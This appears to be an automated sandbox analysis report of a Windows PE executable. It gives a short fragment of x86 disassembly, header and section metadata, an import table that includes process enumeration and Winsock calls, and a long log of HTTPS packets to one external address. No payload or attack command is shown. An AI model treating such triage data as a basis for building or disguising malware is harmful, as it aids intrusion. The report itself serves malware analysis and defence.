je 00007F90051AA88Ch
push 0000000Ch
push esi
call 00007F90051AA62Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F90051AA27Ah
mov dword ptr [esi], 004241F4h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004241FCh
mov dword ptr [ecx], 004241F4h
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00424184h
push eax
call 00007F90051AB649h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007F90051AA88Ch
push 0000000Ch
push esi
call 00007F90051AA5CDh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F90051AA202h
push 00429374h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F90051AB634h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F90051AA815h
push 0042947Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F90051AB617h
int3

Rich Headers

Programming Language:
  • [RES] VS2015 UPD3 build 24213
  • [LNK] VS2015 UPD3.1 build 24215
  • [ C ] VS2008 SP1 build 30729
  • [IMP] VS2008 SP1 build 30729

Data Directories

NameVirtual AddressVirtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
IMAGE_DIRECTORY_ENTRY_IMPORT0x299440x50.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE0x2e0000x1e0.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
IMAGE_DIRECTORY_ENTRY_BASERELOC0x2f0000x155c.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG0x28cd00x38.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
IMAGE_DIRECTORY_ENTRY_TLS0x00x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x28d080x40.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
IMAGE_DIRECTORY_ENTRY_IAT0x240000x130.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

Sections

NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
.text0x10000x224c60x22600False0.513799715909data6.52239880644IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata0x240000x5fee0x6000False0.423583984375data4.91330913111IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data0x2a0000x24280x1a00False0.276742788462data3.31123175346IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.gfids0x2d0000x11c0x200False0.365234375data2.28831765042IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc0x2e0000x1e00x200False0.53125data4.71767883295IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc0x2f0000x155c0x1600False0.797940340909data6.54865418743IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

NameRVASizeTypeLanguageCountry
RT_MANIFEST0x2e0600x17dXML 1.0 document textEnglishUnited States

Imports

DLLImport
USER32.dllwsprintfW
WS2_32.dllWSAGetLastError, htons, inet_ntoa
KERNEL32.dllWideCharToMultiByte, DecodePointer, EncodePointer, WriteConsoleW, SetFilePointerEx, GetConsoleMode, LoadLibraryA, GetProcAddress, CloseHandle, GetLocalTime, CreateToolhelp32Snapshot, Process32NextW, Process32FirstW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameA, MultiByteToWideChar, CreateFileW, ExitProcess, GetModuleHandleExW, GetACP, HeapFree, HeapAlloc, FindClose, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, SetStdHandle, GetFileType, GetStringTypeW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleCP

Possible Origin

Language of compilation systemCountry where language is spokenMap
EnglishUnited States

Network Behavior

Snort IDS Alerts

TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
04/08/22-10:01:39.199823ICMP402ICMP Destination Unreachable Port Unreachable192.168.2.1192.168.2.3

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Apr 8, 2022 10:01:30.339246988 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351450920 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351550102 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351596117 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351639986 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351679087 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351721048 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351732016 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351761103 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351764917 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351771116 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351775885 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351779938 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351784945 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351805925 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351815939 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351850033 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351862907 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351890087 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351903915 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351932049 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351941109 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.351973057 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.351986885 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352005005 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352025986 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352063894 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352483034 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352524996 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352555037 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352567911 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352607012 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352610111 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352647066 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352652073 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352664948 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352689028 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352708101 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352721930 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.352746964 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.352778912 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353399038 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353442907 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353468895 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353483915 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353523970 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353524923 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353534937 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353566885 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353578091 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353606939 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353622913 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353651047 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.353667021 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.353723049 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.354274035 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.354331970 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.354345083 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.354376078 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.354392052 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.354408026 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.354435921 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.354481936 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.379918098 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392113924 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392167091 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392206907 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392251015 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392292976 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392333031 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392373085 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392415047 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392456055 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392462969 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392467976 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392472982 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392477036 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392482042 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392505884 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392549992 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392589092 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392631054 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392652035 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392661095 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392669916 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392682076 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392704010 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.392748117 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.392776966 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393243074 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393281937 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393321991 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393335104 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393358946 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393363953 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393371105 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393403053 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393416882 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393445969 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393457890 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393487930 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.393501043 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.393541098 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394220114 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394263983 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394304037 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394344091 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394383907 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394401073 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394413948 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394418955 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394423962 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394426107 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394428968 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394469976 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.394500017 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.394682884 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395200014 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395239115 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395279884 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395323038 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395322084 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395339966 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395347118 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395360947 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395374060 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395401955 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395416021 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395442963 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.395456076 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.395539999 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396193981 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396235943 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396275043 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396274090 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396296024 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396315098 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396317959 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396356106 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396368027 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396394014 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396409035 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396435022 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.396442890 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.396485090 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397159100 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397201061 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397239923 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397242069 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397270918 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397279978 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397315025 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397320032 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397326946 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397358894 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397370100 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397399902 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.397414923 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.397471905 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.398117065 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.398153067 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.398211956 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.398236036 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.403930902 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.412539005 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.416352987 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.416414022 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.416455030 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.416542053 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.416553020 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.416573048 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.416584969 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.416611910 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.416625023 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.416630983 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.416680098 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.417299032 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.417341948 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.417381048 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.417392969 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.417418957 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.417426109 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.418039083 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.418123007 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.429723024 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.429807901 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.429841042 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.429881096 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.429922104 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.429964066 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.429979086 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.429992914 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430001974 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430037975 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430043936 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430049896 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430056095 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430084944 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430092096 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430124044 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430135965 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430179119 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430201054 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430244923 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430264950 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430278063 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430305004 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430330992 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430607080 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430646896 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430658102 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430686951 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430696011 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430727959 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430737019 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430767059 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430778027 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430808067 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430820942 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430844069 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.430869102 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.430886030 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431416988 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431462049 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431473017 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431500912 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431513071 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431540966 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431550026 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431581974 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431592941 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431619883 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431632042 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431660891 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431670904 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431701899 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.431710005 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.431752920 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.432368994 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.432421923 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.456710100 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.470283985 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.470340967 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.470361948 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.470382929 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.470395088 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.470446110 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.470504045 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.470546007 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.470558882 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.470587969 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.470591068 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.470645905 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.471307039 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.471385002 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.471406937 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.471425056 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.471446991 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.471494913 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.472047091 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.472089052 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.472119093 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.472127914 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.472141027 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.472189903 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.472801924 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.472841978 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.472879887 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.472883940 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.472893000 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.472934961 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.473582983 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.473622084 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.473659992 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.473661900 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.473674059 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.473751068 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.474351883 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.474395037 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.474432945 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.474436045 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.474447012 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.474512100 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.475141048 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.475184917 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.475219965 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.475240946 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.475249052 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.475312948 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.475902081 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.475943089 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.475977898 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.475984097 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.475996971 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.476037979 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:30.476715088 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:30.476788044 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.112539053 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.128976107 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.129030943 CEST4434971923.54.113.53192.168.2.3
